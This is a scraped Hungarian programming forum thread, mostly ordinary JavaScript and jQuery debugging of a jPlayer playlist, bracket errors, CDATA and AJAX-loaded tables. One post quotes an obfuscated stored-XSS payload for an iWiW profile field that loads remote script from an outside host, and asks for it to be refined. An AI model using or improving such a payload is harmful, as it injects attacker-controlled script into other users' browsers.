- D1Rect: Nagy "hülyétkapokazapróktól" topik
- lezso6: Nem látszik a kurzor Chrome alatt a beviteli mezőkben?
- Lalikiraly: SÜNI energiaital.
- gban: Ingyen kellene, de tegnapra
- user2: Kia Ceed Gold 160 1.5 T-GDI MY2024
- sziku69: Fűzzük össze a szavakat :)
- Elektromos rásegítésű kerékpárok
- Gurulunk, WAZE?!
- eBay-es kütyük kis pénzért
- bambano: Bambanő háza tája
-
LOGOUT
JavaScript != Java (A JavaScript nem összekeverendő a Javával, két különböző programozási nyelvről van szó!)
Új hozzászólás Aktív témák
-
wis
tag
Így már lefut: [link]
Csak most előjött a Same-origin policy probléma. Tehát ajax-szal nem tölthetsz le adatokat másik domainról ha az nem ad rá engedélyt.
Viszont azt megteheted, hogy szerver oldalon intézel kérést az oldal felé és a szkripted a szerver oldali kódoddal kommunikál. -
Sk8erPeter
nagyúr
"mivel ugye ha egy 16 tracket tartalmazó CD-t akarsz eladni, akkor szeretnéd, hogy mindegyik dalba bele lehessen hallgatni"
Ez egyáltalán nem indokolja, hogy duplaklikkelni kelljen.Szóval nem magyaráztál meg igazából ezzel még semmit.
Egy playlistnél miért kéne, hogy duplaklikkre működjön? Semmi logika abban, hogy első klikkre ki legyen választva a szám, második klikkre induljon el. Nem is így szoktak működni a lejátszók. A YouTube-on sem így működik. A jPlayer hivatalos oldalán sem így működik:
http://jplayer.org/latest/demo-02-video/
meg úgy általában nem így szokott működni.Mert totál logikátlan. EGY kattintásra ki kéne választania a számot, és elindítani.
Azt meg nem értem, hogy miért nem működik. Igazából debuggolni kellene, hogyan fut le a kód. Felrakhatnál egy jsFiddle-demót is róla, hogy ki tudjuk próbálni, külön működik-e. Működnie kéne elvileg, csak agyalni kéne rajta, most miért nem teszi, nekem sajna most nincs időm tesztelni...
Viszont a külön jsFiddle-demó gyorsíthatna a dolgon.
Viszont azt kéne kiderítened, hogy ez a duplaklikkelési kényszer HOL kerül beállításra, mert az fontos lehet.
-
Sk8erPeter
nagyúr
Na várj, eleve miért kell duplaklikkelni a sample-feliratra, hogy elinduljon a lejátszás?
"Double click on the title to start the sample"
Most nem volt kedvem keresgélni, hogy mitől függ, meg hol van ez beállítva, de ha eleve duplaklikkelni kell a lejátszáshoz, akkor a ready-n belül nem sima .click() kéne, hanem .dblclick().Tehát megpróbálhatnád első körben így:
ready: function () {
$(".demo-container .track-default").click();
},HELYETT:
ready: function () {
$(".demo-container .track-default").dblclick();
},Ergo ez duplaklikkelni fog, rögtön betöltődés után, nem sima klikkelni.
Meglátjuk, így jó-e.
Ha igen, akkor értelmesebb lenne eleve megszüntetni azt, hogy dupla klikkre működjön, mert az tök hülyeség.Most nem kotortam át a kódot, de megírhatnád, hogy azért mi felelős.
-
Sk8erPeter
nagyúr
"Viszont ahogy lentebb görgettem megláttam ott is ugyanazt a jplayer kódot, mint amit pastebin-re töltöttem fel a PHP fájlból.
Akkor lehet azt kellene inkább szerkesztgetni?"
B@szki...Hát ha ilyenek vannak, ne csodálkozz, hogy nem műxik a kód.
Nyilván szedd ki az egyiket, és ja, csak azt módosítsd, az legalább külön fájlban van.
Gondolom már így is bele kellett tákolnod vmelyik fájlba, szóval nem ront a helyzeten.
Na, lényeg, hogy csak egy helyen legyen minden ilyen kód, csak egy helyen szerkeszd, és akkor tovább tudunk lépni. Ergo az egész korábbit, amiről dumáltunk, szedd ki, ahogy van. Hagyd meg azt a kódot eredeti formájában, ami van az ajax.js-ben. Ha ez megvan, teszteld le, aztán szólj, mi a pálya. -
Sk8erPeter
nagyúr
Eleve nem értem, sablonban mit keres a jPlayer komplett kódja. Abszolút nem sminkelési feladat egy komplett lejátszó működésre bírása, kódjának beillesztése, ilyesmik. A sminkelés körébe az tartozik, hogy maga a jPlayer-lejátszó hogy nézzen ki. Nem maga a működési logika.
Szóval az egybecseszésről oké, hogy nem Te tehetsz, de attól még undormány marad.Na, de a parára visszatérve most hirtelen nem ugrik be, miért is nem működik, de javítsd már a JavaScriptes parákat előbb, például ezt, az ajax.js fájlodban:
//Add Event Listener to search form
$("#searchform").submit(function(e) {
location.hash = '?s=' + $("#s").val(return str.replace(/\s+/g, '%20'));
e.preventDefault();
});erre jelez hibát, joggal, mivel a zárójelben nyomatsz egy return-t, aminek semmi értelme.
Miután javítottuk a triviális hibákat, azután tudunk továbbmenni, minden ilyen nagy hiba számíthat. -
Sk8erPeter
nagyúr
"A CDATA zárót a Wordpress rontja el."
Így, hogy elrontja, legalább rávilágít, hogy nem jól csinálod
Külső JS-fájlba érdemes pakolni az ilyesmit, pluginnel behúzni, stb., nem tudom, mi ennek a szabályos módja WordPress-ben (már beszéltünk a Weblapkészítés topicban a plugin/modul/komponens készítésének előnyeiről a gányolás-tákolás-taknyolás kombó helyett), de az ilyen inline kód amúgy sem gyorsítótárazható a böngésző által, nehézkes karbantartani, és így tovább.Na, de lépjünk az érdemi részre, most látom, hogy eleve el van rontva a zárójelezés, érdemes ilyenkor para esetén megnyitni a konzolt Ctrl+Shift+I-vel vagy F12-vel, aztán rákattintani a Console fülre, láss csodát, para:
"Uncaught SyntaxError: Unexpected token (
(index):517"
ergo a kimenet 517. sorban van egy zárójelezési para, ha ezt megnézed a source-ban:if((opt_play_first && first_track)) || (opt_auto_play && !first_track)) {
my_jPlayer.jPlayer("play");
}itt a zárójel tök káoszos (ez mondjuk egy rendes IDE-ben vagy akár szövegszerkesztőben is látszik, ha a kurzort odateszed, IDE (pl. NetBeans, Eclipse, ilyesmik) még szól is érte), tehát cseréld erre:
if( (opt_play_first && first_track) || (opt_auto_play && !first_track) ) {
my_jPlayer.jPlayer("play");
}Amúgy ha parád van, és nincs tisztességes IDE kéznél, akkor sokat segít, ha bedobod ide a kódodat:
http://www.jshint.com/
ellát mindenféle tanácsokkal, hogy mit kéne javítanod a kódodon.Na, a lényeg, alakítsd vissza az eredetire a kódodat teljesen, javítsd ki ezt a zárójelezési parát, aztán jelezz, mire jutottál.
-
Sk8erPeter
nagyúr
Most egyben sikerült jól elcseszerintened a kódot valami módosítással
Pl.:
//]]>
</script>ehelyett ez kéne, hogy legyen:
//]]>
</script>(ami zárja a legvégén ezt: //<![CDATA[)
aztán ezt is elcseszerintetted:
$(".demo-container .track")ready: function() {
miért lett ebből ready, és akkor már miért nincs ott előtte egy pont?
Egyáltalán ezt minek változtattad?Szóval ezeket javítsd, mert így nehéz tesztelni.
-
Sk8erPeter
nagyúr
Na, akkor próbálkozzunk.
Van ez a rész:
ready: function () {
$(".demo-container .track-default").click();
},ezt cseréld le erre:
ready: function () {
// $(".demo-container .track-default").click();
$(this).jPlayer("setMedia", {
mp3: $('.demo-container .track:first-child').attr("href")
}).jPlayer("play"); // Attempt to auto play the media
},most ezt csak úgy gyorsan összekalapáltam, szóval nem garantálok semmit, amúgy is csak tesztelés erejéig kéne kipróbálni.
Szerk.:
persze a legjobb lenne élőben látni az oldalt... -
Pá
addikt
Ez egy fiktív mail címhez kreált java kód
Elvileg ha ezzel az email címmel van egy iwiw profilom akkor ezt a kódot kell beírnom a munkahely mezőbe, hogy működjön a dolog:
xim"><img src="x" onerror="document.write('<script src=ht'+'tp:/'+'/xim.hu/4213></script>')"
Mi nem értünk hozzá, de ha van itt egy olyan java pro, aki át tudná írni úgy a kódot, hogy közben az iwiw profilt ne szemetelje tele, az szupi lenne.
-
zhagyma
őstag
Ok. PHP esetén az első lekérés során letöltődik a teljes kezdőlap scriptestől. Az "ajax"-os menüben kattintva kérsz a PHP-tól egy HTML kódtöredéket (táblázat). Amikor megkapod beilleszted a javascript segítségével az oldal megfelelő helyére a kapott stringet (node.innerHTML = string) és meghívod start() függvényt. Dióhéjban ennyi lenne a részletek nélkül.
-
zhagyma
őstag
A tablecloth.js-ben van egy start() függvény, amely a lefutásakor a html oldalon található mindel egyes class="table1"-es table-hoz hozzárendel mouse eseményeket, stb. Ez csak akkor fut le, amikor a page betöltődik. Ha ezután "illesztesz" be új táblákat az oldalra újratöltődés nélkül a "menükattintás" következtében, akkor újra le kell futtani a Start() függvényt.
Ui.: Akkor letörlöm a mintát.
-
zhagyma
őstag
Szia!
Kiprobáltam, igaz csak gyorsban és nem tökéletes, de mindket script reagált a click eseményre. Kiindulasnak szerintem jó lesz. Ez volt a html:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="hu" xml:lang="hu">
<head>
<title>index</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-Language" content="hu" />
<!-- stylesheet -->
<link rel="stylesheet" href="stylesheet/tablecloth.css" type="text/css" media="screen" />
<!-- JSL -->
<script src="javascript/accordian_pack.js" type="text/javascript"></script>
<script src="javascript/tablecloth.js" type="text/javascript"></script>
</head>
<body>
<div id="basic-accordian">basic</div>
<div id="test-header">header</div>
<div id="test-content">
<div class="accordion_child">
Valami szoveg
</div>
</div>
<table class="table1" cellspacing="0" cellpadding="0">
<tr>
<td> </td>
<th>Title</th>
<th>Title</th>
<th>Title</th>
</tr>
<tr>
<th>Title</th>
<td>Data</td>
<td>Data</td>
<td>Data</td>
</tr>
<tr>
<th>Title</th>
<td>Data</td>
<td>Data</td>
<td>Data</td>
</tr>
<tr>
<th>Title</th>
<td>Data</td>
<td>Data</td>
<td>Data</td>
</tr>
</table>
</body>
</html>A tablecloth.js-be pedig ez került. Kiváltottam függvényhívással az eseménykezelő hozzárendelést.
/* script initiates on page load. */
//window.onload = tablecloth;
window.onload = function() {
new Accordian('basic-accordian',5,'header_highlight');
tablecloth();
};Eddig ezeket a scipteket nem ismertem. Kicsit bele kellett kukkolnom.
-
zhagyma
őstag
Úgy van, ahogy írták, de helyetted nem írom meg. Mindkét javascipt kódot tedd ...js file-ba. Add meg a <HEAD> részbe. Az utolsó javascipt file végére írd be:
function add( node, name, handler) {
if (node.addEventListener) {
node.addEventListener( name, handler, false );
} else {
node.attachEvent( 'on' + name, handler );
};
};
add( window.document.body, 'load', masik_function );
add( window.document.body, 'load', tablecloth );mod: vagy window.document.body, vagy window. Régen használtam ...
Új hozzászólás Aktív témák
Hirdetés
- Robotporszívók
- Folyószámla, bankszámla, bankváltás, külföldi kártyahasználat
- Mibe tegyem a megtakarításaimat?
- Melyik tápegységet vegyem?
- AMD K6-III, és minden ami RETRO - Oldschool tuning
- Motorolaj, hajtóműolaj, hűtőfolyadék, adalékok és szűrők topikja
- Autóápolás, karbantartás, fényezés
- Egyre csak fejlődik az AI, emberek tízezreit rúgja majd ki a BT
- Kerékpárosok, bringások ide!
- Megújult a PROHARDVER!
- További aktív témák...
- Lenovo Thinkpad P1 gen1, gen2, P52s FHD, 4K oled touch
- OLCSÓ MONITOROK
- Apple iPhone 14 Pro, Kártyafüggetlen, 1 Év Garanciával
- Bomba ár! Lenovo ThinkPad X390: i5-G8 I 16GB I 256GB SSD I 13,3" FHD Touch I Cam I W11 I Gari!
- Bomba ár! Dell Latitude 5400 - i5-8GEN I 16GB I 512SSD I 14" HD I HDMI I Cam I W11 I Gari!
Állásajánlatok
Cég: CAMERA-PRO Hungary Kft
Város: Budapest
Cég: PC Trade Systems Kft.
Város: Szeged